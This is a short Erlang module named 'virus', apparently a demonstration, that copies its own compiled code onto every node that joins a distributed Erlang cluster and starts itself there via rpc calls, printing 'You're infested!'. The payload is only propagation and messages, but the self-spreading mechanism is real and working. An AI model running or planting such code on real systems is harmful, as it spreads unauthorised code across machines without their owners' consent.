%% @doc A small module that jumps between connected nodes.
%% @author Gianfranco Alongi <gianfranco.alongi@gmail.com>
%% @author Adam Lindberg <hello@alind.io>

-module(virus).
-export([start/0]).
-export([start/1]).

start()     -> spawn_process(code:get_object_code(?MODULE)).
start(Beam) -> spawn_process(Beam).

spawn_process(Beam) ->
    case whereis(?MODULE) of
        undefined -> spawn(fun() -> virus(Beam) end);
        _Else -> ok
    end.

virus(Beam) ->
    register(?MODULE, self()),
    net_kernel:monitor_nodes(true),
    io:format(user, "You're infested!~n", []),
    %[infest(Node) || Node <- nodes()],
    virus_loop(Beam).

virus_loop(Beam) ->
    receive
        {nodeup, Node} ->
            infest(Node, Beam),
            io:format(user, "~p has joined!~n", [Node])
    end,
    virus_loop(Beam).

infest(Node, {Mod, Bin, File} = Beam) ->
    {module, Mod} = rpc:call(Node, code, load_binary, [Mod, File, Bin]),
    rpc:call(Node, ?MODULE, start, [Beam]).